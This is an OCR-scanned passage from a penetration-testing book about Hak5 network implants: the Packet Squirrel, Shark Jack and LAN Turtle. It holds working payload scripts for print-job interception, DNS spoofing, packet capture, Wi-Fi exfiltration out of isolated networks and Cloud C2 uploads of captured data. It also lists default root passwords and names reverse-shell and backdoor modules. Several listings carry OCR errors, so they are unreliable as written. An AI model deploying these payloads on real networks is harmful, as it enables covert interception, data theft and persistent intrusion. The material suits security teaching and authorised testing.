# LED permanently lights up green
LED G SOLID
fi

Listing 16.1 Controlling the Main Access via the Button
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Switch 2: Printer Capture Payload

The second payload deals with the interception of print jobs, which can be achieved by
a proxy. In this case, as shown in Listing 16.2, DYNAMICPROXY (http://s-prs.co/v618113) inter-
cepts transmissions on port 9100, which is intended for printing via the network. To
make the payload in the listing clearer, I have removed the notes on converting the cap-
tured data into a PDF file and on using the Cloud C? server.

#!/bin/bash

# Title: Printer Capture
#
# Description: Capture PCL IP printer jobs with a dynamic proxy

# LED lights up continuously magenta
LED SETUP

# NAT network mode gets activated
NETMODE NAT

# Check whether a USB drive is connected to the memory
USB_WAIT

# Create a folder for saving print jobs
mkdir /usb/printer/

# LED lights up yellow for 100 ms and is then off for one second
LED ATTACK

# Intercept the transmission from the client on port 9100
# DYNAMICPROXY [CLIENT|SERVER|ANY] [filename prefix] [portl] ... [portN]
DYNAMICPROXY CLIENT /usb/printer/print_ 9100

Listing 16.2 Interception of Print Jobs

Switch 3: DNS Sinkhole Payload

The last preinstalled payload redirects a request to one domain to another IP address.
This deception is achieved by DNS spoofing. When a DNS request is made for this
domain, the Packet Squirrel intercepts this message and sends a response itself or
resolves the domain to a different IP address.

In this area too, the Packet Squirrel Mark II shows its strength. Using the SPOOFDNS com-
mand, this attack is a single line. In this example (see Listing 16.3), the request to the
hak5.org domain is redirected to the local host IP address 127.0.0.1 or to the IPv6
address ::1.
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#!/bin/bash

# Title: DNS Sinkhole
#
# Description: Demonstrate sinkholing a DNS domain (hak5.org)

# This payload will intercept any requests for a *.hak5.org domain
# and redirect them to localhost (127.0.0.1 for IPv4 or ::1 for IPv6)

# BRIDGE network mode is required here,
# since the communication is analyzed and intercepted.
NETMODE BRIDGE

# LED flashes red-lights up every second for 100 ms
LED R SINGLE

# DNS spoofing command—'DOMAIN=IP address’
SPOOFDNS br-lan '.*.hak5.0rg=127.0.0.1" 'hak5.0rg=127.0.0.1" '.*.hak5.org=::1"
"hak5.org=::1"

Listing 16.3 DNS Spoofing Made Easy

TCPDump: Capturing Network Traffic

Now moving to some additional payloads, I want to introduce you to logging all net-
work traffic using tcpdump (https://github.com/hak5/packetsquirrel-payloads/blob/
master/payloads/sniffing/tcpdump/payload). This payload allows all network traffic to
be captured and saved in .pcap format on the connected USB drive.

Download the payload and save it in a slot, for instance, as Switch 1. Move the slide
switch all the way to the left. Connect a USB drive. Plug the network connection of the
device from which you want to capture packets into the Ethernet input. Connect the
network to the Ethernet output. Then connect a power source, for example, a USB power
supply unit or a power bank, to the Packet Squirrel. Wait approximately 40 seconds for
the Packet Squirrel to boot.

As soon as the device has booted, tcpdump starts to save the .pcap file containing the
packets between the two Ethernet interfaces. The file is saved in a loot directory on the
USB drive. During this process, the LED flashes yellow (LED ATTACK).

To stop capturing packets, press the button on the Packet Squirrel. The LED flashes red
quickly for one second and then lights up red continuously (LED R SUCCESS) to indicate
that the file has been written to the USB flash drive. Then you can disconnect the Packet
Squirrel from the network, remove the USB drive, and examine the saved .pcap file in
Wireshark, for example.
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If the button is not pressed and the Packet Squirrel is simply removed, the file may be
damaged and no longer readable. Alternatively, tcpdump writes the .pcap file to the
connected USB drive until the data medium is full. A full data medium is indicated by a
green LED (LED G SUCCESS).

I will cover the functionality of the payload shortly. Our discussion will not correspond
to the sequence in the actual code but instead to the sequence of the payload’s execution.

The following code is called directly after starting the payload and checks whether a USB
drive is available for saving. If available, the LED will be set, and the run and monitor_
space functions will be called (see Listing 16.4).

# Wait until the USB drive is initialized and
# a save operation can be performed
USB_WAIT

# LED flashes yellow once per second

LED ATTACK

# Function for calling the TCPDump tool

run &

# Functions for checking the availability of storage space
monitor_space $! &

wait

Listing 16.4 Start of the TCPDump Payload

The monitor_space function watches the storage space available on the connected USB
drive, as shown in Listing 16.5. If not enough memory is left, the current process will be
canceled.

function monitor_space() {
while true
do
[[ $(USB_FREE) -1t 10000 ]] && {
# TCPDump process will terminate

kill $1
LED G SUCCESS
Sync
Break
¥
# Memory check every 5 seconds
sleep 5
done

¥
Listing 16.5 Function for Monitoring the Memory Space Available to the tcpdump Payload
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Next follows the main function (run), containing the actual commands of the payload
(see Listing 16.6). With this payload, the network is configured, and the tcpdump tool is
started.

function run() {

}

# Create the directory for the looted data (loot)
# with a tcpdump subdirectory
mkdir -p /usb/loot/tcpdump &> /dev/null

# Activate TRANSPARENT mode of the network and wait five seconds
NETMODE TRANSPARENT
sleep 5

LED ATTACK

# Start the tcpdump tool
tepdump -1 br-lan -s 0 2

-w /usb/loot/tcpdump/dump_$(date +%Y-%m-%d-%H%M%S) .pcap &>/dev/null &
tpid=$!

# As soon as the button is pressed, the finish function will be called
NO_LED=true BUTTON
finish $tpid

Listing 16.6 Main Function of the tcpdump Payload

Once you press the button on the Packet Squirrel, the finish function is called to end all
processes correctly, as shown in Listing 16.7.

function finish() {

}

# Termination of the processes and

# Synchronization of the external memory
kill $1

wait $1

sync

# Configuration of the LED: R = red | SUCCESS 1000 ms fast flashing
LED R SUCCESS
sleep 1

# Deactivating the LED and stopping the system
LED OFF
Halt

Listing 16.7 The Function Called at the End
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AirBridge: Exfiltrating Data over Wi-Fi
The Packet Squirrel Mark II with the AirBridge payload (https://github.com/hak5/pack-
etsquirrel-payloads/tree/master/payloads/general/AirBridge) shows its full potential.

Inside this device there is a fully-fledged small computer with an operating system that
can be extended. Devices other than “just” USB drives can also be connected to the
USB-A interface. The AirBridge payload combines this and uses a Wi-Fi adapter to trans-
fer data out of a closed network without internet access.

You need a Wi-Fi adapter that is compatible with the MediaTek MT7612U chipset. I use
the MK7AC Module adapter (see Figure 16.24), which we also attached to the WiFi Pine-
apple in Chapter 15, Section 15.4. However, the adapter is not recognized by default; you
must first establish an internal connection and install the usb-modeswitch package with
the following command:

$ opkg update && opkg install usb-modeswitch

Figure 16.24 Packet Squirrel with Connected MK7AC Wi-Fi Module

For this scenario, you need a Wi-Fi network to which Packet Squirrel can connect and
establish a connection to the internet. This can be the hotspot of a smartphone, for
example. In this example (see Listing 16.8), the SSID of the Wi-Fi network is wlan and the
password is 0123456789.

Establish the network connection and power supply. Open the web interface and store
the payload, for instance, for Switch 1. Wait until the LED flashes magenta quickly. Then
connect the Wi-Fi adapter and confirm the button.
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#!/bin/bash

Title: AirBridge
Author: 0i41E

Description: A payload to enable WiFi on the Squirrel,
when a WiFi adapter is attached.

H OH O HF H H

Requirements beforehand: opkg update && opkg install usb-modeswitch,

MK7AC Module or similar WiFi Adapter.

Usage: Connect with payload switch selected, and wait for the magenta LED,
insert WiFi adapter, press button.

H OH H =

# BRIDGE network mode is used
NETMODE BRIDGE

LED M FAST

# Connect the WiFi adapter
# Wait until the button is pressed
BUTTON

LED G FAST

# The old WiFi configuration file wpa_supplicant.conf is deleted
rm /etc/wpa_supplicant.conf

# Check whether the network interface wlanO is available
if | ip link show wlanO | grep -q "state UP"; then
ip link set wlan0
else
echo "wlan0 is already up."
Fi

# Create the new WiFi configuration file wpa_supplicant.conf
cat > /etc/wpa_supplicant.conf <<EOF
ctrl_interface=/var/run/wpa_supplicant

network={
ssid="wlan"
psk="0123456789"

}

EOF
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# Start the network interface using the WiFi configuration file
wpa_supplicant -B -i "wlan0" -c /etc/wpa_supplicant.conf

# Obtain IP address via DHCP
udhcpc -1 "wlan0"

# Check whether there is a connection to IP address 9.9.9.9 on the internet
if ping -c 1 9.9.9.9 then
C2NOTIFY INFO AirBridge initiated!
LED G SOLID
Else
LED R SOLID
Fi

# Now follows the actual payload, namely the connection to the Cloud C2 server

Listing 16.8 AirBridge Payload for Packet Squirrel Mark II

The example shown in Listing 16.8 can be quite appropriate for penetration tests or secu-
rity awareness training. Connecting a local network via a smartphone to a command-
and-control server on the internet and operating behind a firewall is always impressive.

Other Payloads

To carry out individual attacks, you can develop your own payloads. Your first step
should be to check out the Hak5 collection, which can serve as a guide:

https://github.com/hak5/packetsquirrel-payloads

Cloud C2

The Packet Squirrel is compatible with Cloud C? from Hak5 and can thus be controlled
remotely via the internet. I describe how to set up your own Cloud C? server in Chapter
20, Section 20.6.

To connect the Packet Squirrel to your Cloud C? server, log in and click either the Add
Device button on the home page or click the blue plus sign icon at the bottom right. In
the dialog box that appears, as shown in Figure 16.25, enter a name of your choice and
select Packet Squirrel Mark Il from the Device Type list. You can also enter a description.
Complete the process by clicking the Add Device button (see Figure 16.25).

The added Packet Squirrel then appears on the home page, in the Devices section. Select
the item to open the detailed view. Click the Setup button and then click Download in
the subsequent dialog box. This step generates the device.config file, which is then avail-
able for download, as shown in Figure 16.26.
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Add Device to Cyber Security Lab

Change Image Q

Recommended Size: 400x400px.

Device Name
Paxket Squirrel Mark |1

Device Type
Packet Squirrel Mark |1

New Device Description

Shop Devices - Add Device

Figure 16.25 Adding the Packet Squirrel on a Cloud C? Server

Setup 'Paxket Squirrel Mark II' X

The setup data for 'Paxket Squirrel Mark II'is required for use with the

G2 Client.

=

Figure 16.26 Downloading the Packet Squirrel Configuration File
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Then you must copy the device.config file to the Packet Squirrel. For this task, open the
web interface of your Packet Squirrel and go to the Settings section. Click the Select File
button at the bottom right of the Cloud C2 section, as shown in Figure 16.27. Select the
configuration file in the file selection dialog box that now appears. Finally, click the
Upload Configuration File button.

Packet Squirrel

Mark Il + Version 4.0.0

(7) Dashboard The host name of the device can be changed:; this will reflect the_ host
word name shown in the SSH terminal, as well as the host name sent in any
DHCP requests when connected to a LAN in client-mode

#ﬂ Payloads -

. K squirrel
B Logging

Password

[ssword

Issels, Copenhagen, Madrid, Paris v
Sync Browser Time

Update Web Interface Cloud C2

a

:ntly on version 4.0.0. Ul Theme
Light -
£ Settings e — device.config

heck for Updates Online Upload Configuration File

Select File

< Close

Figure 16.27 Uploaded Configuration File

The This device is enrolled in a Cloud C2 instance message appears. The link can be
removed again by clicking the Remove Configuration File button. Now return to the
user interface of your Cloud C? server. Notice that your Packet Squirrel has logged in
because a timer has activated in the Uptime section, as shown in Figure 16.28.

The first tab, Overview, gives you the current status of the device. You can see for how
long the Packet Squirrel has been connected to the Cloud C? server and the amount of
data has already been transferred. In the lower section, you can see notifications and
can add notes.

The second tab, Clients, provides an overview of the clients that are connected to the
Packet Squirrel via the network. Clients recognized in the past are displayed in the lower
section.

The third tab, Loot, displays the files uploaded to the Cloud C? server.

In the last tab, Terminal, an SSH connection can be established to use a web terminal.
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Hak5 Cloud C?

Version 3.4.0 Pro Edition

Paxket Squirrel Mark Il
a O 0 ¢ x

Cyber Security Lab

Overview Clients Loot Terminal

Uptime Total Rx/Tx Online Clients

2.54 MB 1

6m 3s

Last seen Online Since
Om 5s ago 16 Apr 2025 12:12:23

Description Uptime History

Uptime History
Online

Q Paxket Squirrel
Mark I

-
Packet Squirrel Mark Il
Firmware Version: 4.0.0

02:13:37:A9:FC:5B

This device has no description.

- - -

Sync Status @ Networking

§
K

LANIP LAN Gateway 1 AN Subnet Mask !

Figure 16.28 Packet Squirrel Connected to the Cloud C? Server

The Packet Squirrel supports Cloud C?in all network modes in which the Packet Squirrel
receives an address (NAT, BRIDGE, and JAIL). Cloud C2is not available in TRANSPARENT
or ISOLATE modes. You must also set the USE_C2=1 command to establish a connection
to your Cloud C? server, as shown in Listing 16.9.

function run(){

NETMODE BRIDGE
sleep 5
USE_C2=1

¥
Listing 16.9 Packet Squirrel Payload with the USE_C2=1 Command

As soon as the payload is executed, your Packet Squirrel logs in to your Cloud C? server
and is displayed as online.

For example, you can copy a file from Packet Squirrel to your Cloud C? server with the
C2EXFIL command. To demonstrate this, [ have adapted the tcpdump payload described
previously. Within the finish() function, which is triggered after pressing the button, I
have inserted the upload (see Listing 16.10). In the payload, the BRIDGE network mode is
activated first so that internet access is available. The connection to the Cloud C? server
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is then initialized via USE_C2=1. I have inserted pauses between these commands since
the individual steps require some time and one step must be completed before the next
can be executed. The saved TCPDump payload is then loaded onto the server using the
C2EXFIL command.

#1/bin/bash

#

# Title: TCPDump + Cloud C2

# Description: Dumps networking-data to USB storage. Completes
# on button-press or storage full.

# Upload to Cloud C2 Server.

# Author: Haks

function monitor_space() {

while true
do
[[ $(USB_FREE) -1t 10000 ]] 88& {
kill $1
LED G SUCCESS
sync
break
}
sleep 5
done

function finish(){

kill $1

wait $1

sync

# Upload the dump.pcap file to the Cloud C2 server
C2EXFIL /usb/loot/tcpdump/dump.pcap

LED R SUCCESS

function run(){

mkdir -p /usb/loot/tcpdump &> /dev/null

NETMODE BRIDGE

sleep 5

USE_C2=1

LED ATTACK

tcpdump -1 br-lan -s 0 -w /usb/loot/tcpdump/dump.pcap &> /dev/null &
tpid=$!

NO_LED=true BUTTON
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finish $tpid

USB_WAIT

LED ATTACK

run &
monitor_space $! &
wait

Listing 16.10 Extension of the tcpdump Payload to Include a Cloud C2 Upload
Now connect the Packet Squirrel to a network connection and establish a power supply.
Record the network traffic for any length of time and press the button on the housing.

Then log in to your Cloud C? server. You can find the file under the entry for the Packet
Squirrel in the Loot tab, as shown in Figure 16.29.

2 Hak5 Cloud C* x  +

& C [ ® https;//cloudc2.cyber-security.net/#/sites/1/squirrel/1/loot

Paxket Squirrel Mark II
A O Q0 ;

Cyber Security Lab

Overview Clients Loot Terminal

Collected Loot Delete All

.Allow Device to send loot

Q Filter
E] v View Name Date 4 Size Source Download Delete
O dump.pcap 1m 51s ago 181.22 KB Undefined
Items per page: 10 v 1-10f1

Figure 16.29 File Uploaded by the C2EXFIL Command

Packet Squirrel Mark Il: Conclusion

With the Packet Squirrel Mark Il, you can carry out various attacks on wired network
connections. You can select several preconfigured attack scenarios using a slide switch.
The different network modes make it difficult to detect the hardware in a network.

The Packet Squirrel Mark Il has the following features:
®m Compact hardware with two LAN connections

B Mini computer with SSH access and flexible configuration
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m Slide switch to deploy different payloads
m USB-A interface to save data on a USB drive

16.5 Shark Jack: Performing Predefined Actions

The Shark Jack, also developed by Hak5, is a portable network attack and automation
tool for pentesters and system administrators that enables the investigation of wired
networks. Its special features include its small dimensions and its integrated recharge-
able battery, which means that no computer is required for operation. In addition to the
RJ45 Ethernet interface and the USB-C port for charging, the Shark Jack also has a switch
for configuration. The device can be configured in advance—as soon as it is switched on
and connected to a network port, the stored payload will automatically start to run. In
this way, you can scan an entire network for accessible subscribers and their open ports.

Wired Version

In addition to the classic Shark Jack, another version has a cable with a USB-C plug in-
stead of the USB-C socket. With this version, you can connect to an Android smart-
phone and view the data in real time:
https://docs.hak5.org/shark-jack/tips-and-tricks/android-serial-setup-for-shark-jack-
cable

The Shark Jack has black housing and a transparent RJ45 plug on one side, as shown in
Figure 16.30, which is protected by a black cap.

Figure 16.30 The Shark Jack from Hak5
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An RGB LED inside, which is visible through the transparent plug, indicates the device’s
status. On the opposite side, you would use the USB-C socket to charge the hardware. A
red slide switch is located on the side of the appliance, and this switch can have three
different positions: Off/Charge, Arming Mode and Attack Mode, as shown in Figure 16.31.
The reset button is located on the underside. The Shark Jack measures about 2.4 x 0.8 x
0.4 inches.

USB-C Port RJ45 Network Plug

Off/Charge i | L Attack Mode
Arming Mode

Figure 16.31 Structure of the Shark Jack and the Positions of the Slide Switch

Inside, with its MediaTek MT7628 processor with a performance of up to 580 MHz, the
Shark Jack has 64 MB of DDR2 RAM and 64 MB of SPI flash memory. The integrated 1S
401020 battery (0.2 Wh LiPo) with 3.7 V and 500 mAh achieves a runtime of approxi-
mately 15 minutes, which is sufficient for scanning a large network. The charging time
via the USB-C socket is about 7 minutes. Essentially a mini computer, this device uses
OpenWRT as its operating system.

16.5.1 Setup

To charge the Shark Jack, set the switch to the Off/Charge position (i.e., all the way to the
left). Connect the Shark Jack to a power source (power supply unit or computer) with a
USB-C cable. After a short boot process, as indicated by the green flashing LED, the Shark
Jack starts charging. During that time, the LED flashes blue. When the device is fully
charged, the LED lights up blue continuously.

SSH Access

To prepare the Shark Jack, set the slide switch to the middle position to activate Arming
mode. Then connect the device to a network interface on your computer. After starting,
Shark Jack acts as a DHCP server and assigns an IP address to your computer. The Shark
Jack can then be reached via the static IP address 172.16.24.1, as shown in Figure 16.32.

The SSH server starts automatically; the username is root, and the password is
hak5shark.

$ ssh root@172.16.24.1
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root@shark: ~

File Actions Edit View Help

—(kali® kali) - [~]

—4$ ssh root@l172.16.24.1

The authenticity of host '172.16.24.1 (172.16.24.1)"' can't be established.
ECDSA key fingerprint is SHA256:jqfPbHwhJy7ImXBu91ntH6RMFnj/yQuDfjcpCUlgFfY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.24.1' (ECDSA) to the list of known hosts.
root@l72.16.24.1's password:

BusyBox v1.28.4 () built-in shell (ash)

\ AN Shark Jack /( /

S e by Haks S

)/ \
root@shark:~# []

Figure 16.32 SSH Connection to the Shark Jack

Updating the Firmware

If you're logged in to the Shark Jack via SSH, you can determine the firmware version
with the following command:

root@shark:~# cat /root/VERSION

Then go to the Hak5 download portal at https://downloads.hak5. org/shark and check
whether a new version is available. If necessary, download the new firmware and copy
it to the Shark Jack with the following command:

$ scp upgrade-1.1.0.bin root@172.16.24.1:/tmp/

Then establish an SSH connection with the Shark Jack, run the sysupgrade command,
and pass the name of the new firmware with the -n parameter with the following com-
mand:

root@shark:~# sysupgrade -n /tmp/upgrade-1.1.0.bin

This step starts the update process, which will take approximately 3 to 4 minutes. After
a restart, you must reconnect via SSH and check the version again:

root@shark:~# cat /root/VERSION

16.5.2 Usage

The execution of the Shark Jack is controlled by payloads. The name of the file must be
payload.sh (not a text file named payload.txt) and must be located in the /root/payload
directory.
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An nmap scan process is already preconfigured in the default configuration. The script
shown in Listing 16.11 is based on preexisting payload. The LED command displays the
current status. You can either define the color and flashing rhythm yourself or use
existing templates such as SETUP, ATTACK, or FINISH, among others. A complete list of all
options for controlling the LED is available at https://docs.hak5. org/shark-jack/writing-
payloads/the-led-command.

In the first block (Start), the LED is configured to SETUP (magenta SOLID). Using the NET-
MODE DHCP_CLIENT command, the Shark Jack is integrated into the network as a client and
receives the network configuration via DHCP. Then a loop checks whether an IP address
has been assigned, and the subnet is saved in the SUBNET variable.

In the next block (scan), the LED is configured to ATTACK (yellow single flash), the actual
Nmap scan is executed, and the result is saved in the nmap-scan.txt file.

In the last block (end), the LED indicates via FINISH (green 1000ms VERYFAST flash fol-
lowed by SOLID) that the process has been successfully completed.

# Start: Create folder, obtain IP address via DHCP

LED SETUP

NETMODE DHCP_CLIENT

while [ -z "$SUBNET" ]; do

sleep 1 88 SUBNET=$(ip addr | grep -i eth0o | grep -i inet | \

grep -E -0\
"([0-91{1,3}\. D{3}[0-9 {1, 3}[\/ {1}[0-9]{1,2}" | \
sed 's/\.[0-9]%\//\.0\//")

done

# Scan: Nmap analysis of the local network
LED ATTACK
nmap -A -p0- $SUBNET -oN /root/loot/nmap-scan.txt

# End: Completion
LED FINISH
sleep 2 && halt

Listing 16.11 Saving the Results of an Nmap Scan Locally

Connect to the Shark Jack in Arming mode and store the script in the payload.sh file in
the /root/payload directory.

Errors with More than One Payload File

During my first attempts at using the Shark Jack, | had a recurring problem where the
device always switched to error mode immediately after starting. After several
attempts, | realized that it was due to the additional payload.sh_old file in the payload
directory. Therefore, make sure that only the payload.sh file is located in this directory.
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Now connect the Shark Jack to a LAN socket and activate it by setting the switch to
Attack Mode (i.e., all the way to the right). As soon as the Shark Jack receives an IP
address, it starts scanning the network. The results are saved in the /root/loot/ folder on
the Shark Jack. To access the results, you must set the Shark Jack to Arming mode and re-
establish an SSH connection.

Further payloads are provided via GitHub:
https://github.com/hak5/sharkjack-payloads

Cloud C2

Like the Packet Squirrel, you can also use the Shark Jack with Cloud C2 from Haks. For
example, you can save the result of a network scan to a file and upload it to the Cloud
C? server.

To configure, just follow the steps described earlier in Section 16.4.2 but select Shark Jack
under Device Type. Download the device.config file and copy it to the Shark Jack via scp
with the following command:

$ scp device.config root@172.16.42.1:/etc/

To establish a connection to your Cloud C? server, you must activate the DHCP_CLIENT
network mode in the payload.sh file, as shown in Listing 16.12. The Shark Jack will then
be assigned an IP address and enabled to establish an internet connection. The C2CON-
NECT command then inserts the statement to initialize the connection to your Cloud C?
server.

#!/bin/bash

LED SETUP

NETMODE DHCP_CLIENT

# Wait until an IP address has been received

while | ifconfig ethO | grep "inet addr"; do sleep 1; done
LED STAGE1

C2CONNECT

# Wait until a connection to the server has been established
while ! pgrep cc-client; do sleep 1; done

LED FINISH

Listing 16.12 Shark Jack Payload with the C2CONNECT Command

As soon as you connect the Shark Jack to a network and activate Attack Mode, the device
will log on to the Cloud C? server after a short time, as shown in Figure 16.33.
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Hak5 Cloud C2

Version 3.1.2 Community Edition

f o (&} Cyzlaézij::‘/ub 2%
2\ Overview 22 Clients X Loot | Terminal
Uptime Total Rx/Tx
Om 6s
Description
~— © Shark Jack

L)

Test Rheinwerk Verlag

- -

Shark Jack
Firmware Version: 1.1.0
CE:D6:82:94:66:66

Sync Status

Action

Enable Loot Streaming

Online Clients

60.39 KB 0

Uptime History

Uptime History
p

WAN Subnet Mask External IP

192.168.178.116 192.168.178.1 255.256.255.0 127.0.0.1

Chat

Figure 16.33 Shark Jack Successfully Connected

To use the Cloud C? server with the Shark Jack, you must run the C2EXFIL command to
upload data. Listing 16.13 has been extended to include this upload. For this purpose, the
connection is first established in the C2 server block using the C2CONNECT command. The
subsequent line checks whether a connection has been established, and only if so will

the next command be executed. The actual upload takes place via the C2EXFIL com-
mand. The local file is passed as the first parameter, and the destination for the file stor-

age, as the second.

#!/bin/bash

# Start: Obtain IP address via DHCP

LED SETUP
NETMODE DHCP_CLIENT
while [ -z "$SUBNET" ]; do

sleep 1 88 SUBNET=$(ip addr | grep -i ethO | grep -i inet | grep -E -0 \
"([0-91{1,3}[\. D{33[0-9]{1, 33 [\/{1}[0-9]{1,2}" | \

sed 's/\.[0-9]%\//\.0\//")

done

# Scan: Nmap analysis of the local network

LED ATTACK
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nmap -sP -host-timeout 30s -max-retries 3 \
$SUBNET -oN /root/loot/nmap-scan.txt

# C2-Server: Establishing a connection and uploading the result
LED STAGE1

C2CONNECT

while ! pgrep cc-client; do sleep 1; done

C2EXFIL STRING /root/loot/nmap-scan.txt Nmap-C2-Payload

# End: Deleting the local file
rm /root/loot/nmap-scan.txt
LED FINISH

sleep 2 && halt

Listing 16.13 Nmap Scan with Upload of the Results to the Cloud C? Server

Carry out the scan and then go to your Cloud C? server to see the uploaded TXT file
under the Loot tab, as shown in Figure 16.34.

Hak5 Cloud C2 a6
‘Version 3.1.2 Community Edition =
Shark Jack
f 0 @ Cyber Security Lab 2
Overview Clients Loot Terminal

Collected Loot

Filter Delete Al

Loot Streaming . Expo

D v View Name Date Size Source Download Remove
O View nmap-scan.txt 1m36sago 1713 Nmap-C2-Payload
ltems per page: 10 - 1-10f1

Figure 16.34 File Uploaded to the Cloud C? Server

Shark Jack: Conclusion

The Shark Jack enables you explore and examine networks automatically and identify
all accessible participants. The results are either saved locally, sent via email, or
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uploaded to other services. As a result, inconspicuous hardware is available for explor-
ing a network.

The Shark Jack has the following features:

®m Compact and unobtrusive hardware

® |ntegrated battery for autonomous operation
® Mini computer with DHCP and SSH server

16.6 LAN Turtle: Secret Network Access

The LAN Turtle (https://shop.hak5.org/products/lan-turtle), another tool from Hak5, is a
USB-to-Ethernet adapter with a standard USB-to-Ethernet driver, which means that
most systems automatically support the adapter. With this device, you can disconnect
an existing network cable, connect it to the computer via USB, and plug the network
cable into the other end. This approach re-establishes a network connection, and the
user will not notice any difference at first. The LAN Turtle can be set up to establish a
remote connection to a server on the internet, allowing access to the local network from
outside. Another version of the LAN Turtle includes an integrated mobile radio modem,
which even allows access to a local network directly via the mobile radio connection.
This feature is also known as out-of-band, since another channel is being made available
for communication purposes.

The design of the LAN Turtle is simple, as shown in Figure 16.35. In appearance, it resem-
bles a normal USB-to-Ethernet adapter.

L3

Figure 16.35 LAN Turtle from Hak5, with Mobile Wireless Modem
The housing with the RJ45 network socket is located on one side. An LED on the top of

each socket functions as a status LED. At the other end, a short USB cable of approxi-
mately 4 inches ends in a USB-A plug. A sticker with the product name is located on the
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underside, with two screws underneath to open the housing. Inside the device, you'll
find a button to reset the LAN Turtle to its factory settings. The housing measures about
3.7 x 0.9 x 1.2 inches.

The LAN Turtle is a micro computer powered by an Atheros AR9331 CPU with a perfor-
mance of 400 MHz. With 64 MB of DDR2 RAM and 16 MB of on-board flash memory, the
LAN Turtle enables network access with its Realtek RTL8152 chipset. The LAN Turtle only
supports 10/100-Base-T Ethernet networks. 1000-Base-T-Ethernet networks are auto-
matically reduced to 100-Base-T-Ethernet.

Two variants of the LAN Turtle are available: One variant is called Offline SD and features
a microSD card reader inside. This setup means that you can, for example, record the
entire network traffic of the computer on the memory card. The other variant, called
Online 3G, features an integrated cellular modem. Inside, a holder that accommodates
a Subscriber Identity Module (SIM) card.

Previously, another version was available with a slightly different structure. On the
older LAN Turtle, the USB-A connector was attached directly to the housing, as shown
in Figure 16.36. However, the range of functions was roughly the same as today’s ver-
sion.

Figure 16.36 Older Version of the LAN Turtle Without Cable

16.6.1 Setup

To set up the LAN Turtle, you must connect it to your computer via USB. It will be sup-
plied with power via USB, and at the same time, a new network interface will be imple-
mented via the USB Ethernet adapter. As soon as you connect the device to your com-
puter via USB, it will start. The boot sequence takes about 30 seconds, during which time
the yellow LED flashes. When the LAN Turtle is plugged in for the first time, the yellow
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LED continues to flash until the initial configuration via SSH is complete. Once the boot
process is complete, the LAN Turtle’s network interface on the USB side provides the
host computer with an IP address via DHCP.

When the LAN Turtle is fully booted and the host computer has been assigned an IP
address, you can access the LAN Turtle shell via SSH. The IP address is 172.16.84.1, the
username is root, and the password is sh3llz.

$ ssh root@172.16.84.1

After logging in for the first time, you’'ll be asked to change your password. However,
you can also reassign the default password. Next you'll see the central configuration
interface, the Turtle Shell, as shown in Figure 16.37.

B lali@kali: ~

File Actions Edit View Help

Main Menu
- /%) (AN =5
/ \/ LAN TURTLE \/__\_

uu by Hak5 uu

Configure the LAN Turtlel

Modules Module configuration
About
Help
Exit

Figure 16.37 The Turtle Shell of the LAN Turtle

Updating the Firmware

First check whether new firmware is available, for which you'll need an internet connec-
tion. Connect an additional LAN cable from the existing network to the LAN Turtle.
(Connecting to the internet must be possible via this network.) Then select the Config
menu item and then Check for updates in the submenu, as shown in Figure 16.38.

The system then checks whether a new version is available. If so, a new version will be
indicated, as shown in Figure 16.39, and the update process starts after 15 seconds.
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File Actions Edit View Help
Turtle Shell (v3)

Configuration

Configure 3G Modem

Change your password

Change WAN MAC address

Change WAN IP settings

Disable turtle shell Disables startup on SSH

heck for updates (requires an internet connection)

<SELECT>

Figure 16.38 The Configuration Menu of the LAN Turtle

Actions Edit View Help

Press OK or CTRL+C to exit

Checking for updates..

Update found. Running.
Update Available. Install will begin in 15 seconds...

A1l local LAN Turtle data will be erased.

Press CTRL+C to CANCEL

Figure 16.39 Message Indicating a New Update Has Been Found

After a short while, you'll see the message that the download is complete, and the actual
update will start, as shown in Figure 16.40. The SSH connection is terminated in this

491



16 Tapping Wired LANs

process, and the update continues automatically. The LAN Turtle restarts automatically
after approximately 5 minutes.

File Actions Edit View Help

Press OK or CTRL+C to exit

Upgrade file downloaded. Verifying file integrity.

DO NOT UNPLUG OR POWER DOWN THE LAN TURTLE

Upgrade in progress. Please wait ~5 minutes.
The LAN Turtle will reboot when the upgrade is complete.

This SSH session will now close.

Figure 16.40 Message That the SSH Connection Will Be Terminated

Following the update, a new SSH connection fails because the SSH key has changed. Use
the following command to delete the old SSH key:

$ ssh-keygen -f ".ssh/known_hosts" -R "172.16.84.1"

Module Manager

Thelast step is to activate the manager for the modules. For this task, select the Modules
menu item from the main menu. At the next level, only the Module Manager item is
available, as shown in Figure 16.41, so you should select it. At the subsequent level, you
must activate the manager using the Start option.

File Actions Edit View Help File Actions Edit View Help
Turtle Shell (v6.2)

Modules Module modulemanager
Current Status: Stopped

1 modulemanagerf@Module Manager Bootup Status: Disabled

Module Manager

<SELECT>| < BACK > QNSUTVEEE < ENABLE > <CONFIGURE>

Figure 16.41 Activating the Module Manager
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If the module manager update fails, you can also install the modules manually. These
modules are provided via GitHub (https://github.com/hak5/lanturtle-modules/tree/gh-
pages/modules) and can be conveniently installed via a script. However, since no inter-
net connection exists, you must insert the contents of the script manually. For this task,
create a file named install.sh using the vim editor:

root@turtle:~# vim install.sh

To edit the file in the editor, press the key on the keyboard. Then paste the code I
provide on GitHub and press the key:

https://github.com/scheibleit/LanTurtleScripts/blob/main/install_modules.sh
To save the file and close the editor, enter :wg.

You must then assign the authorization for the execution and start the script with the
following command:

root@turtle:~# chmod +x install.sh
root@turtle:~# ./install.sh

Once the script has run through, you can call up the Turtle Shell again with the following
command:

root@turtle:~# turtle

All modules will then be available to you, as shown in Figure 16.42. Your LAN Turtle is
now fully set up.

lali@eali: ~

File Actions Edit View Help
Turtle Shell 6.2

Modules

1 uptime System Uptime

1 netcat-revshell NetCat Reverse Shell

] autossh AutoSSH maintains persistent secure shells
1 script2email Email script output via SMTP

1 cron Schedule Tasks

] meterpreter Deprecated - requires firmware v6.1 or below.
1

1

1

1

1

dns-spoof dnsspoof forges replies to arbitrary DNS addr
ping-monitor Sends ping response data to a SSHFS host
nmap-scan Network Mapper discovers hosts and services o
clomac Clone Client's MAC address into WAN interface
upnp-portfwd uPnP Port Forwarding

46%

<SELECT>| < BACK >

Figure 16.42 Installed LAN Turtle Modules
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16.6.2 Usage

As mentioned earlier, the LAN Turtle uses different modules. The procedure is quite
similar for each module. The settings are defined in the configuration area, and then the
module’s autostart function is activated.

In the following sections, I will cover some of the most interesting modules for pentest-
ing.

autossh

With the autossh module, you can automatically establish a connection with an exter-
nal computer so that permanent access to the internal network is created, essentially
placing a classic backdoor in a network. You'll need an online server with SSH so that
the LAN Turtle can connect to it. You could, for example, rent a cloud server online for
